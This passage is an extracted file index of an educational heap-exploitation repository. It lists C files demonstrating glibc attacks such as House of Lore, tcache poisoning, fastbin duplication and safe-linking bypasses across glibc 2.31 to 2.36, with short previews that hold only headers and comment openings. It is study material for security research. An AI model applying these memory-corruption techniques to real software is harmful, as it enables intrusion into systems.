"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.31/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.31/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.31/house_of_tangerine.c",
"chars": 5579,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.31/large_bin_attack.c",
"chars": 3353,
"preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant"
},
{
"path": "glibc_2.31/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.31/overlapping_chunks.c",
"chars": 2969,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.31/poison_null_byte.c",
"chars": 6994,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetb"
},
{
"path": "glibc_2.31/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.31/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.31/tcache_metadata_poisoning.c",
"chars": 2145,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.31/tcache_poisoning.c",
"chars": 1516,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.31/tcache_relative_write.c",
"chars": 11694,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n /*\n * This docu"
},
{
"path": "glibc_2.31/tcache_stashing_unlink_attack.c",
"chars": 3637,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.31/unsafe_unlink.c",
"chars": 3415,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.32/decrypt_safe_linking.c",
"chars": 2156,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the f"
},
{
"path": "glibc_2.32/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.32/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.32/fastbin_dup_into_stack.c",
"chars": 2673,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.32/fastbin_reverse_into_tcache.c",
"chars": 4318,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.32/house_of_botcake.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.32/house_of_einherjar.c",
"chars": 6320,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t *"
},
{
"path": "glibc_2.32/house_of_io.c",
"chars": 4123,
"preview": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use"
},
{
"path": "glibc_2.32/house_of_lore.c",
"chars": 5467,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.32/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.32/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.32/house_of_tangerine.c",
"chars": 5661,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.32/house_of_water.c",
"chars": 11209,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-Af"
},
{
"path": "glibc_2.32/large_bin_attack.c",
"chars": 3353,
"preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant"
},
{
"path": "glibc_2.32/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.32/overlapping_chunks.c",
"chars": 2969,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.32/poison_null_byte.c",
"chars": 6994,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetb"
},
{
"path": "glibc_2.32/safe_link_double_protect.c",
"chars": 4964,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind byp"
},
{
"path": "glibc_2.32/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.32/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.32/tcache_metadata_poisoning.c",
"chars": 2145,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.32/tcache_poisoning.c",
"chars": 2135,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.32/tcache_relative_write.c",
"chars": 11694,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n /*\n * This docu"
},
{
"path": "glibc_2.32/tcache_stashing_unlink_attack.c",
"chars": 3637,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.32/unsafe_unlink.c",
"chars": 3415,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.33/decrypt_safe_linking.c",
"chars": 2156,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the f"
},
{
"path": "glibc_2.33/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.33/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.33/fastbin_dup_into_stack.c",
"chars": 2677,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.33/fastbin_reverse_into_tcache.c",
"chars": 4318,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.33/house_of_botcake.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.33/house_of_einherjar.c",
"chars": 6320,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t *"
},
{
"path": "glibc_2.33/house_of_io.c",
"chars": 4123,
"preview": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use"
},
{
"path": "glibc_2.33/house_of_lore.c",
"chars": 5467,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.33/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.33/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.33/house_of_tangerine.c",
"chars": 5661,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.33/house_of_water.c",
"chars": 11209,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-Af"
},
{
"path": "glibc_2.33/large_bin_attack.c",
"chars": 3353,
"preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant"
},
{
"path": "glibc_2.33/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.33/overlapping_chunks.c",
"chars": 2969,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.33/poison_null_byte.c",
"chars": 6994,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetb"
},
{
"path": "glibc_2.33/safe_link_double_protect.c",
"chars": 4964,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind byp"
},
{
"path": "glibc_2.33/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.33/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.33/tcache_metadata_poisoning.c",
"chars": 2145,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.33/tcache_poisoning.c",
"chars": 2135,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.33/tcache_relative_write.c",
"chars": 11694,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n /*\n * This docu"
},
{
"path": "glibc_2.33/tcache_stashing_unlink_attack.c",
"chars": 3637,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.33/unsafe_unlink.c",
"chars": 3415,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.34/decrypt_safe_linking.c",
"chars": 2156,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the f"
},
{
"path": "glibc_2.34/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.34/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.34/fastbin_dup_into_stack.c",
"chars": 2677,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.34/fastbin_reverse_into_tcache.c",
"chars": 4318,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.34/house_of_botcake.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.34/house_of_einherjar.c",
"chars": 6320,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t *"
},
{
"path": "glibc_2.34/house_of_lore.c",
"chars": 5467,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.34/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.34/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.34/house_of_tangerine.c",
"chars": 5661,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.34/house_of_water.c",
"chars": 11209,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-Af"
},
{
"path": "glibc_2.34/large_bin_attack.c",
"chars": 3353,
"preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant"
},
{
"path": "glibc_2.34/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.34/overlapping_chunks.c",
"chars": 2969,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.34/poison_null_byte.c",
"chars": 6994,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetb"
},
{
"path": "glibc_2.34/safe_link_double_protect.c",
"chars": 4964,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind byp"
},
{
"path": "glibc_2.34/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.34/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.34/tcache_metadata_poisoning.c",
"chars": 2145,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.34/tcache_poisoning.c",
"chars": 2135,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.34/tcache_relative_write.c",
"chars": 11694,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n /*\n * This docu"
},
{
"path": "glibc_2.34/tcache_stashing_unlink_attack.c",
"chars": 3637,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.34/unsafe_unlink.c",
"chars": 3415,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.35/decrypt_safe_linking.c",
"chars": 2156,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the f"
},
{
"path": "glibc_2.35/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.35/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.35/fastbin_dup_into_stack.c",
"chars": 2677,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.35/fastbin_reverse_into_tcache.c",
"chars": 4318,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.35/house_of_botcake.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.35/house_of_einherjar.c",
"chars": 6320,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t *"
},
{
"path": "glibc_2.35/house_of_lore.c",
"chars": 5465,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.35/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.35/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.35/house_of_tangerine.c",
"chars": 5661,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.35/house_of_water.c",
"chars": 11209,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-Af"
},
{
"path": "glibc_2.35/large_bin_attack.c",
"chars": 3353,
"preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant"
},
{
"path": "glibc_2.35/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.35/overlapping_chunks.c",
"chars": 2969,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.35/poison_null_byte.c",
"chars": 6994,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetb"
},
{
"path": "glibc_2.35/safe_link_double_protect.c",
"chars": 4964,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind byp"
},
{
"path": "glibc_2.35/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.35/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.35/tcache_metadata_poisoning.c",
"chars": 2145,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.35/tcache_poisoning.c",
"chars": 2135,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.35/tcache_relative_write.c",
"chars": 11694,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n /*\n * This docu"
},
{
"path": "glibc_2.35/tcache_stashing_unlink_attack.c",
"chars": 3637,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.35/unsafe_unlink.c",
"chars": 3415,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.36/decrypt_safe_linking.c",
"chars": 2156,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the f"
},
{
"path": "glibc_2.36/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.36/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
}
]
// ... and 166 more files (download for full content)
About this extraction
This page contains the full source code of the shellphish/how2heap GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 366 files (1.7 MB), approximately 499.4k tokens, and a symbol index with 423 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.